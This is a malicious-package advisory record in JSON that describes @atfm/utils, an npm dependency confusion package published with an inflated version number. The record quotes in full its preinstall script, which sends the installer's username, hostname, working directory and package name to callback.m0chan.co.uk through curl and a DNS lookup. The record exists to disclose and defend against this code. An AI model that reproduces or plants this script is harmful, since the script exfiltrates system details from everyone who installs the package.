{"id":"MAL-2026-18602","kind":"package","aliases":["MAL-2026-18602"],"related":[],"title":"Malicious code in @atfm/utils (npm)","description":"@atfm/utils@99.99.99 is a dependency confusion package: it uses an inflated version under the @atfm scope so that a build resolving an internal @atfm package of the same name picks the public one instead. Its package.json declares a preinstall script that runs on npm install. The script base64-encodes the installing user, hostname, current working directory and package name and sends them to a subdomain of callback.m0chan.co.uk in two ways: an HTTPS GET with the encoded data in the URL path, and a DNS lookup with the encoded package name as a subdomain label. The preinstall script is:\n\n```\nb64=$(printf '%s' \"$(whoami):$(hostname):$(pwd):$npm_package_name\" | base64 -w0); pkgsub=$(printf '%s' \"$npm_package_name\" | sed 's/@//g; s|/|-|g'); pkgdns=$(printf '%s' \"$npm_package_name\" | base64 -w0 | tr '+/' '-_' | tr -d '='); curl -sm5 https://$pkgsub.callback.m0chan.co.uk/$b64; nslookup $pkgdns.$pkgsub.callback.m0chan.co.uk\n```\n\nThe same script appears in @atfm/utils and @atfm/atfm-material-ui, both at 99.99.99, and in other packages already listed in this database that call back to callback.m0chan.co.uk. Both @atfm packages have since been removed from npm.","summary":null,"severity":"critical","cvss":null,"epss":null,"exploited":false,"exploited_at":null,"products":[{"name":"@atfm/utils","fixed":[],"affected":"= 99.99.99","ecosystem":"npm"}],"ecosystems":["npm"],"tags":["malicious","package"],"not_affected_if":[],"how_to_check":null,"fix":null,"status":"open","published_at":"2026-10-30T16:30:00+00:00","first_seen_at":"2026-11-04T06:25:04+00:00","triaged_at":"2026-11-04T06:25:48+00:00","updated_at":"2026-11-04T06:40:32+00:00","category":"package","confidence":null,"triage":null,"analyst_status":null,"analyst_note":null,"search":"'-18602':8A,11A '-2026':7A,10A '/$b64;':151C '/g':133C '99.99.99':16C,165C 'alreadi':170C 'appear':158C 'atfm':29C,38C,181C 'atfm/atfm-material-ui':162C 'atfm/utils':4A,12A,15C,160C 'b64':114C 'back':177C 'base64':63C,123C,142C 'base64-encodes':62C 'build':34C 'call':176C 'callback.m0chan.co.uk':82C,179C 'code':2A 'confus':20C 'curl':147C 'current':69C 'd':146C 'data':92C 'databas':174C 'declar':51C 'depend':19C 'directori':71C 'dns':99C 'encod':64C,91C,103C 'g':135C 'get':88C 'hostnam':68C,118C 'https':87C 'inflat':25C 'instal':59C,66C 'instead':48C 'intern':37C 'label':109C 'list':171C 'lookup':100C 'mal':6A,9A 'malici':1A,13B 'name':43C,74C,105C,122C,130C,141C 'npm':5A,58C,120C,128C,139C,188C 'nslookup':152C 'one':47C 'packag':14B,21C,39C,73C,104C,121C,129C,140C,169C,182C 'package.json':50C 'path':96C 'pick':44C 'pkgdns':136C,153C 'pkgsub':125C 'pkgsub.callback.m0chan.co.uk':150C,154C 'pkgsub.callback.m0chan.co.uk/$b64;':149C 'preinstal':53C,111C 'printf':115C,126C,137C 'public':46C 'pwd':119C 'remov':186C 'resolv':35C 'run':56C 'scope':30C 'script':54C,61C,112C,157C 'sed':131C 'send':76C 'sinc':184C 'sm5':148C 'subdomain':80C,108C 'tr':144C,145C 'two':84C 'url':95C 'use':23C 'user':67C 'version':26C 'w0':124C,143C 'way':85C 'whoami':117C 'work':70C","nicknames":[],"mitigations":[],"who_affected":null,"tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":null,"audience":null,"plain_action":null,"pkeys":["utils"],"ptokens":["atfm","utils"],"labels":["critical","malicious","npm","package"],"campaign_type":null,"first_public_at":"2026-10-30T16:30:00+00:00","kev":null,"cvss_vector":null,"cvss_by":null,"poc_count":0,"sources":[{"source":"osv-malicious","external_id":"MAL-2026-18602","url":"https://osv.dev/vulnerability/MAL-2026-18602","severity":"critical","published_at":"2026-10-30T16:30:00+00:00","modified_at":"2026-11-04T06:00:05+00:00","first_seen_at":"2026-11-04T06:25:04+00:00","fetched_at":"2026-11-04T06:25:04+00:00","note":null}],"documents":[],"notice":"Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai"}